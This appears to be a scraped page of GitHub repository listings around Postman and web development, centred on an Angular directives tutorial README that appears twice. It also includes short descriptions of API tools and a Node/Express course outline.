access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
faressoft/postman-runner
active, collection, collections, interactive, interactively, postman collection, postman collections, product, productivity, runner, tool 		CLI productivity dev tool to run postman collections interactively 3 stars 3 watchers 0 forks
limadelrey/vertx-simple-reactive-rest-api-mongo
active, mongo, react, reactive, rest, vertx 		Simple reactive REST API using Java, Vert.x, MongoDB, RxJava2 and Docker. 1 stars 1 watchers 1 forks
opentable/falcor-postman
active, browser, graph, graphical, interactive, queries 		A graphical interactive in-browser IDE to validate Falcor queries. 0 stars 0 watchers 2 forks
annabush092/hey-mr-postman
active, display, email, interactive, mail, play 		An interactive, 3D display of your email inbox 0 stars 0 watchers 1 forks
AcademiaHack/postman_active_model_serializer
active, model 		0 stars 0 watchers 0 forks
IbrahimMSabek/mfpAdapterTester
active, auth, authentication, data, debug, debugging, docs, secure, secured, spec, test, web app 		This will be a web app that will act like Postman which aim to test secured IBM Mobilefirst 8 adapters with custom authentication specially that save and use data within active session as Postman basic authentication debugging detailed in MFP docs won't fit 0 stars 0 watchers 0 forks
legiahoang/apiai-sails
active, data, interactive, weather 		postman make a call to API.AI to interactive with weather intent (hook data from worldweatheronline) 0 stars 0 watchers 0 forks
lizvane3/04-spotiapp
active, component, connection, home, image, index, message, messages, release, route, router, search, searches, track, usar, util 		Spotify: Routes (using it good and usedHash) routerLinkActive = "active” - routerLink="home”. HTTP Request. Spotify connection with postman - Home showing new releases - Search by artist - Centralizar peticiones hacia Spotify (one request to get releases and searches) - Creating pipe to no image - Reutilizar componente tarjeta para usar en index y busqueda con Input - Foundation loading - Route to each artist - Show top tracks and preview - Use safe url with pipe domSeguro. - Insert preview Spotify widget - Error messages in screen with Input 0 stars 0 watchers 0 forks
Sun-Wukong/RitAPIs
active, devs, kong 		Collection of API Definition Documents( Swagger ), Tests( Postman ), and Generators( Buildbot ) that provide devs a streamlined way to actively troubleshoot 0 stars 0 watchers 0 forks

sets (12 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
Inn4ki/chatapp
admin, application, applications, auth, chat, completed, computer, course, debug, debugging, design, designed, engine, file, files, form, format, included, including, lang, language, learn, learned, learning, lesson, logging, middleware, parameter, passing, passport, program, programming, protecting, quality, query, rating, route, router, routes, sets, speed, sync, training, tutorial, user, users, validation, video, web app 		NODE.JS WEB APPS WITH EXPRESS by Wes Higbee In this Node.js Web Apps with Express training course, expert author Wes Higbee will teach you how to create web applications and APIs with Express. This course is designed for users that are already familiar with HTML, CSS, and JavaScript. You will start by learning how to set up a web app, then jump into learning about the Jade view engine. From there, Wes will teach you about CRUD, including how to add the chat room view, respond with JSON, and edit chat rooms. This video tutorial also covers routers, middleware, APIs, and logging and debugging. Finally, you will learn about auth with passport, including passport user validation, protecting admin routes, and query string parameters. Once you have completed this computer based training course, you will have learned how to create web applications and APIs with Express. Working files are included, allowing you to follow along with the author throughout the lessons. About the Publisher Presented in stunning HD quality, the Infinite Skills range of video based training provides a clear and concise way to learn computer applications and programming languages at your own speed. Delivered to your Desktop, iPad ... More about Infinite Skills Table of Contents Setting Up A Web App What You Will Learn 00:03:28 About The Author 00:01:23 Project Setup 00:02:14 Spinning Up Our Server From Scratch 00:05:11 Serving Index.HTML 00:04:32 Serving Bootstrap Assets 00:05:52 Styling Our Site 00:01:16 How To Access Your Working Files 00:01:15 The Jade View Engine Why View Engines? 00:02:10 The Jade View Engine 00:06:32 HTML Tags In Jade 00:02:16 Attributes Classes And Ids In Jade 00:02:06 Serving Up Jade Views 00:04:24 HTML Reuse In Jade 00:06:26 Code In Jade Views 00:02:37 Passing Data To View Rendering 00:02:01 Setting A Default View Engine 00:00:37 String Interpolation In Jade 00:02:30 Generating Tables In Jade 00:03:50 Tabs And Spaces Oh My 00:01:21 Demystifying Jade 00:02:21 Crud Setting The Stage 00:01:01 Add Chat Room View 00:04:21 Post Chat Room Form 00:06:56 Parsing Form Data From The Request Body 00:04:22 Responding With JSON 00:03:20 Admin Chat Rooms Workflow 00:02:21 Named Route Parameters To Delete Rooms 00:05:59 Edit Chat Rooms 00:06:01 Edit Chat Rooms Part - 2 00:02:00 Responding With 404 Not Found 00:01:39 Wrap Up 00:01:23 Routers Extracting An Admin Module 00:04:47 Modular Admin Router 00:04:00 Pluggable Admin Mount Path 00:03:15 Stumbling Block - Relative Redirects 00:02:49 Chaining Routes 00:01:57 Middleware Understanding Routing And Middleware 00:05:45 Adding Custom Logging Middleware 00:02:15 Understanding Next() 00:01:31 Middleware To Fetch Data 00:07:24 Order Matters.Av 00:01:09 Scoping Middleware 00:03:53 What To Do With Errors 00:03:01 Last Thoughts 00:03:19 APIs A Client Side Chat App 00:01:55 Setup The Client Side Chat App 00:03:01 Creating An API 00:05:42 Modules Are Singletons 00:01:50 Postman To Test API 00:01:24 API Get Room Messages 00:05:49 Posting To An API 00:03:37 API To Delete Messages 00:03:15 Parsing JSON In The Request Body 00:03:25 Logging And Debugging Express-Debug 00:03:03 Logging With Morgan 00:01:45 File Access Log With Morgan 00:01:28 Built-In Express Debugging 00:01:57 When Things Go Wrong Throwing An Error In A Route Handler 00:01:39 Errors In Production 00:01:53 Custom Error Handlers 00:02:40 Browser Hangs 00:00:58 Hanging Async Request Handlers 00:01:17 Errors In Callbacks 00:03:32 Don't Swallow Callback Errors 00:02:46 Auth With Passport Auth With Passport 00:01:49 Login Form 00:06:31 Passport User Validation 00:05:20 Passport Session Serialization 00:01:49 Logging In 00:06:23 Logout 00:03:52 Authorizing Access To Block Anonymous Users 00:03:40 Protecting Admin Routes 00:02:04 Using User Information 00:02:48 Bypassing Login In Development 00:03:11 Query String Parameters 00:02:34 Auth Cookies 00:02:17 Last Thoughts 00:05:45 Publisher: Infinite Skills Release Date: March 2016 ISBN: 9781491958933 Running time: 4:09:49 Topic: Node.js 4 stars 4 watchers 5 forks
SheikhZayed/PostMan-Android-Application
data, developing, sets 		This Application can Listen to the Incoming GSM Events in Android Handsets and Automatically forwards those Events to the Configured API in the App,It Could be made Usefull for developing Apps that want to LIsten to Phones GSM Data and forward those data to some Web based Application. 0 stars 0 watchers 6 forks
10manjunath/PlanetAssetsAPI
service, sets 		Built custom API using Python and Flask. A RESTful web service. 2 stars 2 watchers 0 forks
sonali-developer/SmackApplication
